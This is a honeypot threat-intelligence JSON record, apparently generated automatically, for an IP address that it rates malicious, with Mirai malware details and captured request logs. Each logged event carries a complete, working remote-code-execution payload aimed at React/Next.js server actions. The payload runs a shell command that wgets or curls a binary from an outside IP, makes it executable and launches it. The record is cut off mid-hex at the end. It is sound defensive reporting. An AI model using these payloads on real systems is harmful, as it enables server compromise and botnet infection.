{"ip":"91.224.92.135","total_events":226,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"219 loader / command-injection payload(s)","confidence":"high","network_type":null,"why":["219 request(s) carried a loader or command-injection payload (wget, curl, tftp, busybox, chmod or a known bot name).","This is the same evidence that puts an address in the public exploiter feed, so the feed and this page now agree.","Payload evidence stands on its own: one request that fetches a botnet binary is exploitation, not probing.","Not in any known-scanner range.","Sent 353,002 bytes: sustained payload delivery, not a single opportunistic request."],"engagement":{"level":"payload","label":"Sustained payload","detail":"353,002 bytes sent","bytes_sent":353002,"session_seconds":0,"persistent":false}},"first_seen":"2026-09-06T23:17:29","last_seen":"2026-09-10T15:31:57","events_24h":0,"events_7d":226,"geo":{"country_code":"GB","country_name":"United Kingdom","region":"","city":"","lat":51.4964,"lon":-0.1224,"asn":209605,"org":"UAB Host Baltic"},"source_domain":"srv-91-224-92-135.serveroffer.net","known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[{"sha256":"0d341e396719c3729f881b533c3d4e8b089a83e5379160b317c530d6d7a27661","family":"mirai","vt_name":"agustin51","malicious":1,"total":75,"vt_status":"uploaded","delivery":"curl","url_path":"/","dest_port":3000,"hits":6,"last_seen":"2026-09-07 14:11:00"}],"top_ports":[{"port":3001,"proto":"tcp","label":"","count":101},{"port":3000,"proto":"tcp","label":"Web-alt","count":74},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":24},{"port":5000,"proto":"tcp","label":"Web-alt","count":20},{"port":3128,"proto":"tcp","label":"HTTP-proxy","count":4},{"port":80,"proto":"tcp","label":"HTTP","count":3}],"fingerprints":{"ssh_hassh":[],"tls_ja4":[],"tls_ja3":[],"ja4h":["po11nn0800_5055f782ab33"]},"fingerprint_peers":{"po11nn0800_5055f782ab33":4},"user_agents":["Mozilla/5.0"],"timeline":[{"date":"2026-09-06","count":2},{"date":"2026-09-07","count":71},{"date":"2026-09-08","count":62},{"date":"2026-09-09","count":41},{"date":"2026-09-10","count":50}],"recent_events":[{"timestamp":"2026-09-10T15:31:57","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"729bed1a-a11a-4b87-8153-4f522f00bbbb","seq":1,"duration_ms":100,"bytes_in":1610,"bytes_out":78},{"timestamp":"2026-09-10T15:20:20","port":3000,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3000\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"458cecaa-a507-45bf-ade5-4a1cd777d3c5","seq":1,"duration_ms":100,"bytes_in":1609,"bytes_out":78},{"timestamp":"2026-09-10T14:52:28","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"9aa02508-4014-4b8b-8776-ebada2c8b125","seq":1,"duration_ms":100,"bytes_in":1609,"bytes_out":78},{"timestamp":"2026-09-10T14:49:27","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f38372e3132302e3139362e31363a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"fb27d948-b770-4148-a5e1-5f5dbda12a13","seq":1,"duration_ms":100,"bytes_in":1610,"bytes_out":78},{"timestamp":"2026-09-10T14:19:15","port":3001,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip\",\"connection\":\"close\",\"content-length\":\"1371\",\"content-type\":\"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE\",\"host\":\"<HONEYPOT>:3001\",\"next-action\":\"x\",\"user-agent\":\"Mozilla/5.0\"}","body":"------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"0\"\r\n\r\n\"$1\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"1\"\r\n\r\n{\"status\":\"resolved_model\",\"reason\":0,\"_response\":\"$5\",\"value\":\"{\\\"then\\\":\\\"$4:map\\\",\\\"0\\\":{\\\"then\\\":\\\"$B3\\\"},\\\"length\\\":1}\",\"then\":\"$2:then\"}\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"2\"\r\n\r\n\"$@3\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"3\"\r\n\r\n\"\"\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"4\"\r\n\r\n[]\r\n------WebKitFormBoundaryReactCVE\r\nContent-Disposition: form-data; name=\"5\"\r\n\r\n{\"_bundlerConfig\":{},\"_chunks\":\"$2:_response:_chunks\",\"_formData\":{\"get\":\"$4:constructor:constructor\"},\"_prefix\":\"(function(){\\n        try {\\n            var res = process.mainModule.require(\\\"child_process\\\").execSync(\\\"cd /tmp 2\\u003e/dev/null || cd /dev/shm 2\\u003e/dev/null || cd /; rm -f .f; (wget -q --no-check-certificate -O .f http://87.120.196.16:889/agustin51 || curl -k -s -o .f http://87.120.196.16:889/agustin51) \\u0026\\u0026 chmod +x .f \\u0026\\u0026 ./.f\\\").toString();\\n            console.log(\\\"\\\\n[+] RCE RESULT:\\\\n\\\" + res);\\n            throw new Error(\\\"[+] RCE SUCCESS: \\\" + res);\\n        } catch(e) {\\n            console.log(e);\\n            throw e;\\n        }\\n    })()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030310d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313337310d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e657865635